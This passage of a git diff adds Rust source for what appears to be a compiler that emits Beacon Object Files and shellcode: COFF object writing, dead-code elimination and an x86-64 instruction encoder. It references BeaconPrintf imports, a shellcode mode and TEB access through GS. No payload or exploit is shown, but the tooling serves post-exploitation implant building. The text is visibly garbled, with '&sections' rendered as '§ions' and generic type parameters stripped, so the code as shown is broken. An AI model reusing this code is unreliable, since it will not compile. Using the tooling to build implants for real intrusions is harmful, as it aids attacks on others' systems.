-> bool { + matches!(e, Expr::Call { ns, fname, .. } if ns == want_ns && fname == want_fn) +} + +fn expr_first_span(e: &Expr) -> Option { + match e { + Expr::Call { span, .. } | Expr::StructLit { span, .. } => Some(*span), + Expr::Assign { value, .. } => expr_first_span(value), + Expr::FieldAssign { base, value, .. } => { + expr_first_span(base).or_else(|| expr_first_span(value)) + } + Expr::DerefAssign { ptr, value } => { + expr_first_span(ptr).or_else(|| expr_first_span(value)) + } + Expr::IndexAssign { base, index, value } => { + expr_first_span(base) + .or_else(|| expr_first_span(index)) + .or_else(|| expr_first_span(value)) + } + Expr::Unary { operand, .. } => expr_first_span(operand), + Expr::Binary { lhs, rhs, .. } => { + expr_first_span(lhs).or_else(|| expr_first_span(rhs)) + } + Expr::Field { base, .. } => expr_first_span(base), + Expr::Cast { expr, .. } => expr_first_span(expr), + Expr::Index { base, index } => { + expr_first_span(base).or_else(|| expr_first_span(index)) + } + Expr::Int(_) | Expr::Str(_) | Expr::Bool(_) + | Expr::Var(_) | Expr::SizeOf { .. } => None, + } +} + +fn stmts_first_span(stmts: &[Stmt]) -> Option { + stmts.iter().find_map(stmt_first_span) +} + +fn stmt_first_span(s: &Stmt) -> Option { + match s { + Stmt::Var { span, .. } | Stmt::Ret { span, .. } + | Stmt::Raise { span, .. } => Some(*span), + Stmt::Expr { span, value } => { + if !span.is_unknown() { Some(*span) } else { expr_first_span(value) } + } + Stmt::If { cond, then_body, else_body } => { + expr_first_span(cond) + .or_else(|| stmts_first_span(then_body)) + .or_else(|| stmts_first_span(else_body)) + } + Stmt::While { cond, body } => { + expr_first_span(cond).or_else(|| stmts_first_span(body)) + } + Stmt::For { init, cond, body, step } => { + init.as_deref().and_then(stmt_first_span) + .or_else(|| cond.as_ref().and_then(expr_first_span)) + .or_else(|| stmts_first_span(body)) + .or_else(|| step.as_deref().and_then(stmt_first_span)) + } + Stmt::Try { body, handler, .. } => { + stmts_first_span(body).or_else(|| stmts_first_span(handler)) + } + Stmt::Asm(lines) => lines.first().map(|l| Span::new(l.line, l.col)), + Stmt::Break | Stmt::Continue => None, + } +} + +fn stmt_breadcrumb(s: &Stmt) -> (Span, &'static str) { + let kind = match s { + Stmt::Var { .. } => "var", + Stmt::Ret { .. } => "ret", + Stmt::Raise { .. } => "raise", + Stmt::Expr { value: Expr::Call { .. }, .. } => "call", + Stmt::Expr { .. } => "expr", + Stmt::If { .. } => "if", + Stmt::While { .. } => "while", + Stmt::For { .. } => "for", + Stmt::Break => "break", + Stmt::Continue => "continue", + Stmt::Try { .. } => "try", + Stmt::Asm(_) => "asm", + }; + (stmt_first_span(s).unwrap_or_default(), kind) +} + +fn is_shared_call(e: &Expr) -> bool { + matches!(e, Expr::Call { ns, .. } if ns == "shared") +} + +pub enum Win32CallSite { + Extern(String), // `__imp_KERNEL32$AddVectoredExceptionHandler` + Slot(String), // resolver::slot_label() output +} + +/// Does any function in the program contain a try { ... } catch { ... }? +/// Driven the same way as program_uses but on the statement variants. +fn program_uses_try(prog: &Program) -> bool { + prog.functions.iter().any(|f| block_contains_try(&f.body)) +} + +fn block_contains_try(stmts: &[Stmt]) -> bool { + stmts.iter().any(stmt_contains_try) +} + +fn stmt_contains_try(s: &Stmt) -> bool { + match s { + Stmt::Try { .. } => true, + Stmt::If { then_body, else_body, .. } => { + block_contains_try(then_body) || block_contains_try(else_body) + } + Stmt::While { body, .. } => block_contains_try(body), + Stmt::For { init, body, step, .. } => { + init.as_ref().map_or(false, |i| stmt_contains_try(i)) + || block_contains_try(body) + || step.as_ref().map_or(false, |s| stmt_contains_try(s)) + } + _ => false, + } +} diff --git a/src/coff.rs b/src/coff.rs new file mode 100644 index 0000000..22c367f --- /dev/null +++ b/src/coff.rs @@ -0,0 +1,295 @@ + +use std::collections::HashMap; +use std::io::Write; + +// COFF constants. Spelled out locally so the emitter stays +// self-contained (the compiler crate doesn't need windows-sys). + +pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664; + +// Section characteristics. +pub const IMAGE_SCN_CNT_CODE: u32 = 0x0000_0020; +pub const IMAGE_SCN_CNT_INITIALIZED_DATA: u32 = 0x0000_0040; +pub const IMAGE_SCN_CNT_UNINITIALIZED_DATA: u32 = 0x0000_0080; +pub const IMAGE_SCN_ALIGN_1BYTES: u32 = 0x0010_0000; +pub const IMAGE_SCN_ALIGN_4BYTES: u32 = 0x0030_0000; +pub const IMAGE_SCN_ALIGN_8BYTES: u32 = 0x0040_0000; +pub const IMAGE_SCN_ALIGN_16BYTES: u32 = 0x0050_0000; +pub const IMAGE_SCN_MEM_EXECUTE: u32 = 0x2000_0000; +pub const IMAGE_SCN_MEM_READ: u32 = 0x4000_0000; +pub const IMAGE_SCN_MEM_WRITE: u32 = 0x8000_0000; + +pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2; +pub const IMAGE_SYM_CLASS_STATIC: u8 = 3; + +// 0x20 marks a function symbol (used for go). Aux records for +// function size aren't emitted in V1. +pub const IMAGE_SYM_TYPE_NULL: u16 = 0x00; +pub const IMAGE_SYM_DTYPE_FUNCTION: u16 = 0x20; + +// Relocation types for AMD64. +pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000; +pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001; +pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003; +pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004; + +// Public artifact: codegen builds a CoffObject and hands it to emit. +// Symbols are deduplicated; relocations index into symbols. + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum SymKind { + /// .text static. External only when the symbol is go. + TextStatic, + TextExtern, + DataStatic { section: SectionId }, + /// Loader-resolved: __imp_BeaconPrintf, __imp_USER32$MessageBoxA, ... + Undefined, +} + +/// Section number is 1-based in COFF (0 = undefined). Order here +/// matches the order sections get emitted into the file. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum SectionId { Text, Rdata, Data, Bss } + +#[derive(Debug, Clone)] +pub struct CoffSymbol { + pub name: String, + pub kind: SymKind, + /// Offset within the symbol's section. Ignored for Undefined. + pub value: u32, +} + +#[derive(Debug, Clone)] +pub struct CoffReloc { + pub at: u32, + pub sym: usize, + pub ty: u16, +} + +#[derive(Debug, Clone, Default)] +pub struct CoffSection { + pub bytes: Vec, + pub relocs: Vec, +} + +#[derive(Debug, Default)] +pub struct CoffObject { + pub text: CoffSection, + pub rdata: CoffSection, + pub data: CoffSection, + pub bss_size: u32, // .bss carries no raw bytes; just a size + pub symbols: Vec, +} + +impl CoffObject { + pub fn new() -> Self { Self::default() } + + /// Find-or-add a symbol; returns its index. Idempotent on name. + pub fn intern(&mut self, name: &str, kind: SymKind, value: u32) -> usize { + if let Some(i) = self.symbols.iter().position(|s| s.name == name) { + return i; + } + self.symbols.push(CoffSymbol { + name: name.to_string(), + kind, value, + }); + self.symbols.len() - 1 + } +} + +// Emitter. File layout: [file header | section headers | raw section +// bytes | per-section relocs | symbol table | string table]. +pub fn emit(obj: &CoffObject) -> Result, String> { + // .text is always present; other sections appear iff they have + // content. SectionId order is stable so prior symbol indices resolve. + let mut sections: Vec<(&'static str, u32, &CoffSection, SectionId, u32)> = Vec::new(); + + // .bss placeholder. Don't reuse another section here - the + // header writer reads body.relocs.len from it and a wrong + // placeholder makes the loader apply every reloc twice. + static EMPTY_SECTION: CoffSection = CoffSection { + bytes: Vec::new(), + relocs: Vec::new(), + }; + + sections.push(( + ".text", + IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_ALIGN_16BYTES, + &obj.text, + SectionId::Text, + 0, + )); + if !obj.rdata.bytes.is_empty() { + sections.push(( + ".rdata", + IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_ALIGN_8BYTES, + &obj.rdata, + SectionId::Rdata, + 0, + )); + } + if !obj.data.bytes.is_empty() { + sections.push(( + ".data", + IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_ALIGN_8BYTES, + &obj.data, + SectionId::Data, + 0, + )); + } + if obj.bss_size > 0 { + sections.push(( + ".bss", + IMAGE_SCN_CNT_UNINITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_ALIGN_8BYTES, + &EMPTY_SECTION, + SectionId::Bss, + obj.bss_size, + )); + } + + // SectionId -> 1-based section number for the symbol table. + let mut sec_num: HashMap = HashMap::new(); + for (i, (_, _, _, id, _)) in sections.iter().enumerate() { + sec_num.insert(*id, (i as i16) + 1); + } + + // Compute offsets so section headers can point at them. + let header_size = 20; + let section_hdr_size = 40 * sections.len(); + let mut cursor = header_size + section_hdr_size; + + // Section raw data offsets. + let mut raw_offsets: Vec = Vec::with_capacity(sections.len()); + for (_, _, body, _, bss_size) in §ions { + if *bss_size > 0 { + raw_offsets.push(0); // .bss has no raw data; pointer is 0 + } else if body.bytes.is_empty() { + raw_offsets.push(0); + } else { + raw_offsets.push(cursor as u32); + cursor += body.bytes.len(); + } + } + + // Relocation table offsets. + let mut reloc_offsets: Vec = Vec::with_capacity(sections.len()); + for (_, _, body, _, _) in §ions { + if body.relocs.is_empty() { + reloc_offsets.push(0); + } else { + reloc_offsets.push(cursor as u32); + cursor += body.relocs.len() * 10; + } + } + + let symtab_offset = cursor as u32; + cursor += obj.symbols.len() * 18; // 18 bytes per symbol, no aux records + let strtab_offset = cursor; + + // String table: <=8 byte names inline in the symbol's Name[8] slot. + // Longer names: Name[0..4] = 0, Name[4..8] = LE offset into strtab. + let mut strtab: Vec = Vec::new(); + strtab.extend_from_slice(&[0, 0, 0, 0]); // placeholder for size (filled at end) + + let intern_name = |strtab: &mut Vec, name: &str| -> [u8; 8] { + let mut out = [0u8; 8]; + if name.len() <= 8 { + for (i, b) in name.bytes().enumerate() { out[i] = b; } + return out; + } + let off = strtab.len() as u32; + strtab.extend_from_slice(name.as_bytes()); + strtab.push(0); + out[4..8].copy_from_slice(&off.to_le_bytes()); + out + }; + + let mut out: Vec = Vec::new(); + + // 1. File header. + out.write_all(&IMAGE_FILE_MACHINE_AMD64.to_le_bytes()).unwrap(); + out.write_all(&(sections.len() as u16).to_le_bytes()).unwrap(); + out.write_all(&0u32.to_le_bytes()).unwrap(); // TimeDateStamp - leave zero for reproducible builds + out.write_all(&symtab_offset.to_le_bytes()).unwrap(); + out.write_all(&(obj.symbols.len() as u32).to_le_bytes()).unwrap(); + out.write_all(&0u16.to_le_bytes()).unwrap(); // SizeOfOptionalHeader - 0 for object files + out.write_all(&0u16.to_le_bytes()).unwrap(); // Characteristics - 0 is fine for relocatable object + + // 2. Section headers. + for (i, (name, chars, body, _id, bss_size)) in sections.iter().enumerate() { + let mut name_bytes = [0u8; 8]; + for (j, b) in name.bytes().enumerate() { if j < 8 { name_bytes[j] = b; } } + out.write_all(&name_bytes).unwrap(); + // VirtualSize/Address: 0/0 for object files. SizeOfRawData + // doubles as .bss size when there's no raw data. + out.write_all(&0u32.to_le_bytes()).unwrap(); + out.write_all(&0u32.to_le_bytes()).unwrap(); + let raw_size = if *bss_size > 0 { *bss_size } else { body.bytes.len() as u32 }; + out.write_all(&raw_size.to_le_bytes()).unwrap(); + out.write_all(&raw_offsets[i].to_le_bytes()).unwrap(); + out.write_all(&reloc_offsets[i].to_le_bytes()).unwrap(); + out.write_all(&0u32.to_le_bytes()).unwrap(); // PointerToLineNumbers (deprecated) + out.write_all(&(body.relocs.len() as u16).to_le_bytes()).unwrap(); + out.write_all(&0u16.to_le_bytes()).unwrap(); // NumberOfLineNumbers + out.write_all(&chars.to_le_bytes()).unwrap(); + } + + // 3. Section raw data, in declaration order. + for (_, _, body, _, bss_size) in §ions { + if *bss_size == 0 { + out.write_all(&body.bytes).unwrap(); + } + } + + // 4. Relocation tables per section. SymbolTableIndex is 0-based + // into obj.symbols. + for (_, _, body, _, _) in §ions { + for r in &body.relocs { + out.write_all(&r.at.to_le_bytes()).unwrap(); + out.write_all(&(r.sym as u32).to_le_bytes()).unwrap(); + out.write_all(&r.ty.to_le_bytes()).unwrap(); + } + } + + // 5. Symbol table. + for s in &obj.symbols { + let name_bytes = intern_name(&mut strtab, &s.name); + out.write_all(&name_bytes).unwrap(); + out.write_all(&s.value.to_le_bytes()).unwrap(); + + let (section_number, storage_class, ty): (i16, u8, u16) = match s.kind { + SymKind::TextStatic => ( + *sec_num.get(&SectionId::Text).unwrap(), + IMAGE_SYM_CLASS_STATIC, + IMAGE_SYM_DTYPE_FUNCTION, + ), + SymKind::TextExtern => ( + *sec_num.get(&SectionId::Text).unwrap(), + IMAGE_SYM_CLASS_EXTERNAL, + IMAGE_SYM_DTYPE_FUNCTION, + ), + SymKind::DataStatic { section } => ( + *sec_num.get(§ion).unwrap(), + IMAGE_SYM_CLASS_STATIC, + IMAGE_SYM_TYPE_NULL, + ), + SymKind::Undefined => ( + 0, + IMAGE_SYM_CLASS_EXTERNAL, + IMAGE_SYM_TYPE_NULL, + ), + }; + out.write_all(§ion_number.to_le_bytes()).unwrap(); + out.write_all(&ty.to_le_bytes()).unwrap(); + out.write_all(&[storage_class]).unwrap(); + out.write_all(&[0u8]).unwrap(); // NumberOfAuxSymbols + } + + // 6. String table: backpatch the size and append. + let strtab_size = strtab.len() as u32; + strtab[0..4].copy_from_slice(&strtab_size.to_le_bytes()); + out.write_all(&strtab).unwrap(); + + let _ = strtab_offset; + Ok(out) +} diff --git a/src/dce.rs b/src/dce.rs new file mode 100644 index 0000000..4542c3e --- /dev/null +++ b/src/dce.rs @@ -0,0 +1,218 @@ + +use std::collections::HashSet; + +use crate::ast::*; +use crate::codegen::BuildKind; + +/// Standard-mode entry. BOF builds use eliminate_with_kind so the +/// seed is go instead of main. +#[allow(dead_code)] +pub fn eliminate(prog: &mut Program) { + eliminate_with_kind(prog, BuildKind::Standard) +} + +pub fn eliminate_with_kind(prog: &mut Program, kind: BuildKind) { + let mut ctx = Ctx::default(); + + let entry = kind.entry_name(); + if prog.functions.iter().any(|f| f.name == entry && !f.is_extern) { + ctx.fns.insert(entry.to_string()); + } else { + return; + } + for f in &prog.functions { + for a in &f.attrs { + if a.kind == "Override" || a.kind == "Hook" || a.kind == "Stage" { + ctx.fns.insert(f.name.clone()); + } + } + } + + // Mark-and-sweep until the live set stops growing. + loop { + let snapshot = (ctx.fns.len(), ctx.statics.len(), ctx.structs.len()); + + for f in &prog.functions { + if ctx.fns.contains(&f.name) { + ctx.mark_function(f); + } + } + for s in &prog.statics { + if ctx.statics.contains(&s.name) { + ctx.mark_type(&s.ty); + if let Some(init) = &s.init { + ctx.mark_expr(init); + } + } + } + for s in &prog.structs { + if ctx.structs.contains(&s.name) { + for (_, fty) in &s.fields { + ctx.mark_type(fty); + } + } + } + + if (ctx.fns.len(), ctx.statics.len(), ctx.structs.len()) == snapshot { + break; + } + } + + // Sweep: keep only marked items. + prog.functions.retain(|f| ctx.fns.contains(&f.name)); + prog.statics.retain(|s| ctx.statics.contains(&s.name)); + prog.structs.retain(|s| ctx.structs.contains(&s.name)); +} + +#[derive(Default)] +struct Ctx { + fns: HashSet, + statics: HashSet, + structs: HashSet, +} + +impl Ctx { + /// Strip [N] and * suffixes; mark the bare name as a live struct. + /// Sweep ignores names that don't correspond to a real struct, so + /// spurious marks are harmless. + fn mark_type(&mut self, ty: &str) { + let mut key = ty; + if let Some(open) = key.rfind('[') { + if key.ends_with(']') { + key = &key[..open]; + } + } + let key = key.trim_end_matches('*'); + if !key.is_empty() { + self.structs.insert(key.to_string()); + } + } + + fn mark_function(&mut self, f: &Function) { + for p in &f.params { + self.mark_type(&p.ty); + } + self.mark_type(&f.ret_ty); + self.mark_block(&f.body); + } + + fn mark_block(&mut self, stmts: &[Stmt]) { + for s in stmts { + self.mark_stmt(s); + } + } + + fn mark_stmt(&mut self, s: &Stmt) { + match s { + Stmt::Var { ty, value, .. } => { + self.mark_type(ty); + if let Some(e) = value { self.mark_expr(e); } + } + Stmt::Expr { value: e, .. } => self.mark_expr(e), + Stmt::If { cond, then_body, else_body } => { + self.mark_expr(cond); + self.mark_block(then_body); + self.mark_block(else_body); + } + Stmt::While { cond, body } => { + self.mark_expr(cond); + self.mark_block(body); + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { self.mark_stmt(i); } + if let Some(c) = cond { self.mark_expr(c); } + if let Some(s) = step { self.mark_stmt(s); } + self.mark_block(body); + } + Stmt::Ret { value: Some(e), .. } => self.mark_expr(e), + Stmt::Raise { value, .. } => self.mark_expr(value), + Stmt::Try { body, handler, .. } => { + self.mark_block(body); + self.mark_block(handler); + } + Stmt::Ret { value: None, .. } | Stmt::Break | Stmt::Continue => {} + Stmt::Asm(lines) => { + // Inline-asm %name operands reference functions / statics + // outside the Expr tree. Mark conservatively across both + // kinds; sweep filters spurious entries. + use crate::asm::{AsmBody, AsmOperand, AsmMem, AsmMemBase}; + fn walk_operand(op: &AsmOperand, ctx: &mut Ctx) { + match op { + AsmOperand::Sym(name) => { + ctx.fns.insert(name.clone()); + ctx.statics.insert(name.clone()); + } + AsmOperand::Mem(AsmMem { base: Some(AsmMemBase::Sym(name)), .. }) => { + ctx.fns.insert(name.clone()); + ctx.statics.insert(name.clone()); + } + _ => {} + } + } + for line in lines { + match &line.body { + AsmBody::Op1 { op, .. } => walk_operand(op, self), + AsmBody::Op2 { dst, src, .. } => { + walk_operand(dst, self); + walk_operand(src, self); + } + _ => {} + } + } + } + } + } + + fn mark_expr(&mut self, e: &Expr) { + match e { + Expr::Var(name) => { + // Mark as both - could be a static, a local, or a + // function name used as a code pointer. + self.statics.insert(name.clone()); + self.fns.insert(name.clone()); + } + Expr::Call { ns, fname, args, .. } => { + // Only empty-namespace (local) calls need marking; + // Win32 and intrinsics resolve at codegen. + if ns.is_empty() { + self.fns.insert(fname.clone()); + } + for a in args { self.mark_expr(a); } + } + Expr::Assign { value, .. } => self.mark_expr(value), + Expr::Unary { operand, .. } => self.mark_expr(operand), + Expr::Binary { lhs, rhs, .. } => { + self.mark_expr(lhs); + self.mark_expr(rhs); + } + Expr::Field { base, .. } => self.mark_expr(base), + Expr::FieldAssign { base, value, .. } => { + self.mark_expr(base); + self.mark_expr(value); + } + Expr::DerefAssign { ptr, value } => { + self.mark_expr(ptr); + self.mark_expr(value); + } + Expr::Index { base, index } => { + self.mark_expr(base); + self.mark_expr(index); + } + Expr::IndexAssign { base, index, value } => { + self.mark_expr(base); + self.mark_expr(index); + self.mark_expr(value); + } + Expr::Cast { ty, expr } => { + self.mark_type(ty); + self.mark_expr(expr); + } + Expr::SizeOf { ty } => self.mark_type(ty), + Expr::StructLit { ty, fields, .. } => { + self.mark_type(ty); + for (_, e) in fields { self.mark_expr(e); } + } + Expr::Int(_) | Expr::Bool(_) | Expr::Str(_) => {} + } + } +} diff --git a/src/encoder.rs b/src/encoder.rs new file mode 100644 index 0000000..e815d90 --- /dev/null +++ b/src/encoder.rs @@ -0,0 +1,1277 @@ + +use std::collections::HashMap; + +#[derive(Copy, Clone, Debug, PartialEq, Eq)] +#[repr(u8)] +pub enum Reg64 { + Rax = 0, Rcx = 1, Rdx = 2, Rbx = 3, + Rsp = 4, Rbp = 5, Rsi = 6, Rdi = 7, + R8 = 8, R9 = 9, R10 =10, R11 =11, + R12 =12, R13 =13, R14 =14, R15 =15, +} + +impl Reg64 { + pub fn lo3(self) -> u8 { (self as u8) & 0b111 } + pub fn ext(self) -> bool { (self as u8) & 0b1000 != 0 } + + pub fn from_name(s: &str) -> Option { + use Reg64::*; + Some(match s { + "rax" => Rax, "rcx" => Rcx, "rdx" => Rdx, "rbx" => Rbx, + "rsp" => Rsp, "rbp" => Rbp, "rsi" => Rsi, "rdi" => Rdi, + "r8" => R8, "r9" => R9, "r10" => R10, "r11" => R11, + "r12" => R12, "r13" => R13, "r14" => R14, "r15" => R15, + _ => return None, + }) + } +} + +#[derive(Copy, Clone, Debug)] +pub enum Cond { + Eq, Ne, Lt, Gt, Le, Ge, Z, Nz, + /// Unsigned below (CF=1) - for cmp ptr, lower_bound; jb out_of_range. + B, + /// Unsigned below-or-equal (CF=1 ∨ ZF=1). + Be, + /// Unsigned above (CF=0 ∧ ZF=0) - for cmp new_next, end; ja oom. + A, + /// Unsigned above-or-equal (CF=0) - for sweep loop termination. + Ae, + /// Sign flag set (SF=1). + S, + /// Sign flag clear (SF=0). + Ns, +} + +impl Cond { + /// Returns the low nibble that follows 0x0F 8_ for jcc rel32, + /// 0x0F 9_ for setcc, and 0x0F 4_ for cmovcc. The encoding scheme + /// is the same low-nibble across all three opcode families. + pub fn nibble(self) -> u8 { + match self { + Cond::Z | Cond::Eq => 0x4, + Cond::Nz | Cond::Ne => 0x5, + Cond::B => 0x2, + Cond::Ae => 0x3, + Cond::Be => 0x6, + Cond::A => 0x7, + Cond::S => 0x8, + Cond::Ns => 0x9, + Cond::Lt => 0xC, + Cond::Ge => 0xD, + Cond::Le => 0xE, + Cond::Gt => 0xF, + } + } +} + +/// Segment-override prefix (0x64 = FS, 0x65 = GS). Only FS/GS matter +/// in user mode on x86-64; CS/DS/ES/SS are flat. GS points at the TEB. +#[derive(Copy, Clone, Debug, PartialEq, Eq)] +pub enum Segment { + Fs, + Gs, +} + +impl Segment { + fn prefix(self) -> u8 { + match self { Segment::Fs => 0x64, Segment::Gs => 0x65 } + } +} + +/// Where a rel32 should point. +#[derive(Debug, Clone)] +pub enum RelocTarget { + Code(String), // a code-section label + Data(String), + External(String), +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum DataSection { Rdata, Data, Bss } + +#[derive(Debug, Clone)] +pub struct Reloc { + pub patch_at: usize, + pub target: RelocTarget, +} + +#[derive(Debug, Clone)] +pub struct DbgMark { + pub code_off: usize, + pub line: u32, + pub col: u32, + pub kind: &'static str, +} + +#[derive(Debug, Clone)] +pub struct DbgVar { + pub name: String, + pub ty: String, + pub loc: String, + pub line_start: u32, + pub line_end: u32, +} + +pub struct Encoder { + pub code: Vec, + /// Read-only initialised data - string literals, format templates, + /// DLL names. Lands in .rdata for BOF mode; flattened into the + /// standard [code | rdata | data | bss] blob for shellcode mode. + pub rdata: Vec, + pub data: Vec, + /// Uninitialised (zero-filled) data - import slots, format + /// buffers, static slots. Carries a size only; the bytes are + /// materialised at load time. + pub bss_size: usize, + code_labels: HashMap, + rdata_labels: HashMap, + data_labels: HashMap, + bss_labels: HashMap, + relocs: Vec, + pub dbg_marks: Vec, + pub dbg_vars: Vec, +} + +impl Encoder { + pub fn new() -> Self { + Self { + code: Vec::new(), + rdata: Vec::new(), + data: Vec::new(), + bss_size: 0, + code_labels: HashMap::new(), + rdata_labels: HashMap::new(), + data_labels: HashMap::new(), + bss_labels: HashMap::new(), + relocs: Vec::new(), + dbg_marks: Vec::new(), + dbg_vars: Vec::new(), + } + } + + pub fn dbg_mark(&mut self, line: u32, col: u32, kind: &'static str) { + if line == 0 { return; } + self.dbg_marks.push(DbgMark { code_off: self.code.len(), line, col, kind }); + } + + pub fn dbg_var(&mut self, name: &str, ty: &str, frame_off: i32, line_start: u32, line_end: u32) { + if line_start == 0 || name.is_empty() { return; } + let loc = if frame_off < 0 { + format!("rbp-0x{:x}", -frame_off) + } else { + format!("rbp+0x{:x}", frame_off) + }; + self.dbg_vars.push(DbgVar { + name: name.to_string(), + ty: ty.to_string(), + loc, + line_start, + line_end, + }); + } + + pub fn code_reloc_ranges(&self) -> Vec> { + self.relocs.iter().map(|r| r.patch_at..(r.patch_at + 4)).collect() + } + + pub fn code_label_positions(&self) -> Vec { + let mut v: Vec = self.code_labels.values().copied().collect(); + v.sort_unstable(); + v + } + + pub fn splice(&mut self, at: usize, old_len: usize, new_bytes: &[u8]) { + let delta = new_bytes.len() as isize - old_len as isize; + // Replace the bytes in place. + self.code.splice(at..at + old_len, new_bytes.iter().copied()); + if delta == 0 { return; } + for pos in self.code_labels.values_mut() { + if *pos > at { + *pos = ((*pos as isize) + delta) as usize; + } + } + for r in self.relocs.iter_mut() { + if r.patch_at >= at + old_len { + r.patch_at = ((r.patch_at as isize) + delta) as usize; + } + } + } + + fn emit(&mut self, b: u8) { self.code.push(b); } + fn emit32(&mut self, v: u32){ self.code.extend_from_slice(&v.to_le_bytes()); } + fn emit64(&mut self, v: u64){ self.code.extend_from_slice(&v.to_le_bytes()); } + + fn rex(&mut self, w: bool, r: bool, x: bool, b: bool) { + if w || r || x || b { + let mut byte = 0x40u8; + if w { byte |= 0x08; } + if r { byte |= 0x04; } + if x { byte |= 0x02; } + if b { byte |= 0x01; } + self.emit(byte); + } + } + + fn modrm(&mut self, mod_: u8, reg: u8, rm: u8) { + self.emit(((mod_ & 0b11) << 6) | ((reg & 0b111) << 3) | (rm & 0b111)); + } + + pub fn place_code_label(&mut self, name: &str) { + self.code_labels.insert(name.to_string(), self.code.len()); + } + + pub fn add_rdata(&mut self, name: &str, bytes: &[u8]) { + let offset = self.rdata.len(); + self.rdata.extend_from_slice(bytes); + self.rdata_labels.insert(name.to_string(), offset); + } + + pub fn add_rdata_raw_named(&mut self, name: &str, bytes: &[u8]) { + let offset = self.rdata.len(); + self.rdata.extend_from_slice(bytes); + self.rdata_labels.insert(name.to_string(), offset); + } + + pub fn mark_rdata_position(&mut self, name: &str) { + self.rdata_labels.insert(name.to_string(), self.rdata.len()); + } + + /// Append bytes to the mutable .data section. Reserved for + /// initialised mutable data - currently only used when a future + /// const-baked static landing path needs it. + pub fn add_data(&mut self, name: &str, bytes: &[u8]) { + let offset = self.data.len(); + self.data.extend_from_slice(bytes); + self.data_labels.insert(name.to_string(), offset); + } + + pub fn data_has(&self, name: &str) -> bool { + self.rdata_labels.contains_key(name) + || self.data_labels.contains_key(name) + || self.bss_labels.contains_key(name) + } + + pub fn code_has(&self, name: &str) -> bool { + self.code_labels.contains_key(name) + } + + /// Add a NUL-terminated string to .rdata. Strings are + /// universally read-only - the compiler doesn't expose any + /// in-place string mutation today. + pub fn add_string(&mut self, name: &str, s: &str) { + let mut bytes = s.as_bytes().to_vec(); + bytes.push(0); + self.add_rdata(name, &bytes); + } + + pub fn add_bss(&mut self, name: &str, size: usize) { + let offset = self.bss_size; + self.bss_size += size; + self.bss_labels.insert(name.to_string(), offset); + } + + fn rel32_to(&mut self, target: RelocTarget) { + let patch_at = self.code.len(); + self.emit32(0); + self.relocs.push(Reloc { patch_at, target }); + } + + + /// mov reg64, imm64 (REX.W + B8+rd io) + pub fn mov_r64_imm64(&mut self, dst: Reg64, imm: u64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xB8 + dst.lo3()); + self.emit64(imm); + } + + /// mov dst, src (both reg64) (REX.W + 89 /r) + pub fn mov_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x89); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// mov reg64, [rip + rel32] (REX.W + 8B /r, mod=00 rm=101) + pub fn mov_r64_data(&mut self, dst: Reg64, label: &str) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8B); + self.modrm(0b00, dst.lo3(), 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// mov [rip + rel32], reg64 (REX.W + 89 /r, mod=00 rm=101) + pub fn mov_data_r64(&mut self, label: &str, src: Reg64) { + self.rex(true, src.ext(), false, false); + self.emit(0x89); + self.modrm(0b00, src.lo3(), 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// mov reg64, [rbp + disp32] (REX.W + 8B /r, mod=10 rm=101) + pub fn mov_r64_rbp_disp(&mut self, dst: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8B); + self.modrm(0b10, dst.lo3(), Reg64::Rbp.lo3()); + self.emit32(disp as u32); + } + + /// mov [rbp + disp32], reg64 (REX.W + 89 /r) + pub fn mov_rbp_disp_r64(&mut self, disp: i32, src: Reg64) { + self.rex(true, src.ext(), false, false); + self.emit(0x89); + self.modrm(0b10, src.lo3(), Reg64::Rbp.lo3()); + self.emit32(disp as u32); + } + + /// lea reg64, [rip + rel32] (REX.W + 8D /r, mod=00 rm=101) + pub fn lea_r64_data(&mut self, dst: Reg64, label: &str) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8D); + self.modrm(0b00, dst.lo3(), 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// lea reg64, [rip + rel32] - used for taking a code address + /// (e.g. saving a handler PC into a longjmp buffer). + pub fn lea_r64_code(&mut self, dst: Reg64, label: &str) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8D); + self.modrm(0b00, dst.lo3(), 0b101); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// push reg64 (50+rd, REX.B for R8..R15) + pub fn push_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0x50 + r.lo3()); + } + + /// pop reg64 (58+rd) + pub fn pop_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0x58 + r.lo3()); + } + + /// ret (C3) + pub fn ret(&mut self) { self.emit(0xC3); } + + /// nop (90) + pub fn nop(&mut self) { self.emit(0x90); } + + pub fn sub_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 5, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 5, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// add reg64, imm Size-aware companion to [sub_r64_imm32]. Same + /// 7 to 4 byte win for small immediates 